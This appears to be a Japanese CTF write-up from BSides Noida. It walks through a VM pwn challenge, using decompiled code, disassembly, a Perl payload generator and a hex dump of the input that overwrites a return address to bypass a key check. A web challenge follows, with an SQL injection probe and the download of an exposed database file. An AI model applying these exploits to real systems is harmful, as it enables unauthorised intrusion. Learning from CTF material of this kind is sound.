  • v1v2v3の示す値が全て4以上の場合、エラーで実行終了となる
  • c命令による「チェック」は、FUN_0010234f関数で行われる

FUN_0010234f関数
void FUN_0010234f(char *param_1)

{
  long *plVar1;
  int iVar2;
  long lVar3;
  long *plVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  char *local_248;
  long local_240;
  char local_238;
  undefined7 uStack567;
  long local_228 [9];
  locale local_1e0 [48];
  __basic_file<char> local_1b0 [136];
  undefined8 local_128 [27];
  undefined8 local_50;
  undefined local_48;
  undefined local_47;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
  if (iVar2 == 0) {
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
    std::ios_base::ios_base((ios_base *)local_128);
    local_128[0] = 0x104c40;
    local_50 = 0;
    local_48 = 0;
    local_47 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
                    /* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
    std::basic_ios<char,std::char_traits<char>>::init
              ((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
                    /* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
    std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
                    /* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
    std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
                    /* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
    lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
    if (lVar3 == 0) {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    else {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    local_248 = &local_238;
    local_240 = 0;
    local_238 = '\0';
                    /* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
    std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
    plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
                               ((basic_ostream *)std::cout,local_248,local_240);
    plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
    if (plVar1 == (long *)0x0) {
      uVar5 = std::__throw_bad_cast();
                    /* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
                       catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
                        */
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
      std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
                ((basic_ifstream<char,std::char_traits<char>> *)local_228);
                    /* WARNING: Subroutine does not return */
      _Unwind_Resume(uVar5);
    }
    if (*(char *)(plVar1 + 7) == '\0') {
                    /* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
      std::ctype<char>::_M_widen_init();
      (**(code **)(*plVar1 + 0x30))(plVar1,10);
    }
    std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
    std::basic_ostream<char,std::char_traits<char>>::flush();
    if (local_248 != &local_238) {
      operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
    }
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
    local_228[2] = 0x104d30;
                    /* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
    std::basic_filebuf<char,std::char_traits<char>>::close();
    std::__basic_file<char>::~__basic_file(local_1b0);
    local_228[2] = 0x104c60;
    std::locale::~locale(local_1e0);
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
    local_128[0] = 0x104c40;
    std::ios_base::~ios_base((ios_base *)local_128);
    goto LAB_00102726;
  }
  std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
  plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
  if (plVar1 == (long *)0x0) {
    std::__throw_bad_cast();
LAB_001024a4:
    std::ctype<char>::_M_widen_init();
    (**(code **)(*plVar1 + 0x30))(plVar1,10);
  }
  else {
    if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
  }
  std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
  std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

さらに、InterpreterTDM-GCCobjdumpで逆アセンブルした結果より、以下のことがわかった。

  • regのデータは、RSP + 0x08から格納されている
  • RAMのデータは、RSP + 0x10から格納されている
  • reg[0]reg[3]0に初期化され、RAM[0]1に初期化される
  • RSP + 0x68にカナリアがある
  • 6個の値をpushした後RSPから0x78を引いているので、RSP + 0xa8にリターンアドレスがある

明示されてはいなかったが、c命令のチェックを通るようなプログラムを入力すればflagが得られると予想した。
c命令のチェック、すなわちFUN_0010234f関数では、
与えられたデータをstrncmp関数で"3p1cl337-k3yw0rd"と比較していた。
このような長いデータを作るのは難しそうと考えたので、
FUN_00102750関数のリターンアドレスを書き換え、このチェックの通過後に制御を移すことにした。

FUN_0010234f関数の逆アセンブル結果の冒頭部分は、以下のようになっていた。

    234f:   55                      push   %rbp
    2350:   53                      push   %rbx
    2351:   48 81 ec 38 02 00 00    sub    $0x238,%rsp
    2358:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    235f:   00 00 
    2361:   48 89 84 24 28 02 00    mov    %rax,0x228(%rsp)
    2368:   00 
    2369:   31 c0                   xor    %eax,%eax
    236b:   ba 10 00 00 00          mov    $0x10,%edx
    2370:   48 8d 35 8d 0c 00 00    lea    0xc8d(%rip),%rsi        # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
    2377:   e8 34 fd ff ff          callq  20b0 <strncmp@plt>
    237c:   85 c0                   test   %eax,%eax
    237e:   0f 85 c2 00 00 00       jne    2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
    2384:   ba 19 00 00 00          mov    $0x19,%edx

この部分から、「チェックの通過後」とは0x2384番地であることが読み取れた。
さらに、この関数の冒頭ではRSPを16で割って8余る数変化させているので、
リターンアドレスの書き換えでこのRSPを変化させる部分を飛ばした場合、
スタックのアラインメントの問題は回避できそうである。

また、Ghidraより、FUN_00102750関数の戻り先は0x2b0c番地であることが読み取れた。
よって、0x2384 - 0x2b0c = -0x788なので、リターンアドレスの下位2バイトから0x788を引けば目的を達成できる。
スタック上のデータの配置を考えると、リターンアドレスはreg[0x50]reg[0x53]に相当するので、
この下位2バイトであるreg[0x50]から0x788を引けばよい。

(本番中は、誤って0x237c番地に飛ばすために0x790を引いていた。
FUN_00102750関数はc命令を実行せずに実行を終了すると0を返すため、
0x237c番地のtest命令によるチェックを通過できたようである。)

あとは、この値0x788を用意できれば、これをリターンアドレスから引くことができる。
RAM[0]、すなわちreg[4]1に初期化されるので、

  1. 「構築結果」を0、「足す値」を1に初期化する
  2. 「足す値」と構築したい値のビットANDが0でないなら、「構築結果」に「足す値」を足す
  3. 「足す値」を2倍する、すなわち「足す値」に「足す値」を足す
  4. 「構築結果」が構築したい値になるまで、2と3を繰り返す

という処理により、任意の16ビットの値を構築することができる。
以下は、値を指定すると、この方法でその値を構築するプログラムを出力するプログラムである。

num_gen.pl
num_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
    die "Usage: perl num_gen.pl target_number\n";
}

my $target = int($ARGV[0]);

print "a114";
if ($target > 0) {
    do {
        if ($target & 1) { print "a001"; }
        print "a111";
        $target >>= 1;
    } while ($target > 1);
    print "a001";
}
print "\n";

このプログラムの出力に構築された値をリターンアドレスから引く命令を追加した以下のデータを、
Tera Termから「ファイル送信」した。

00000000  61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31  |a114a111a111a111|
00000010  61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31  |a111a001a111a111|
00000020  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000030  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000040  73 80 80 30 0a                                   |s..0.|

その結果、flagが得られた。

BSNoida{d009e54bdfff4d8cdeeebab05df02280}

Web

Baby Web

WebページのURLと、サーバのファイル一式が与えられた。
Webページは、IDを入れる欄があり、検索ができるというものだった。

与えられたファイル中のindex.phpを読むと、

      $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);

という部分があった。
しかし、IDとして1 or 1=1idを入れると、エラーページに飛ばされてしまった。

さらにindex.phpを読んでいくと、

        $this->open('./karma.db');

という部分があった。
これによりファイルkarma.dbindex.phpと同じディレクトリに設置されていることが読み取れるので、
http://ctf.babyweb.bsidesnoida.in/karma.dbをダウンロードし、TkSQLiteで開いた。
すると、flagsssテーブルがあり、そこにflagが格納されていた。

BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0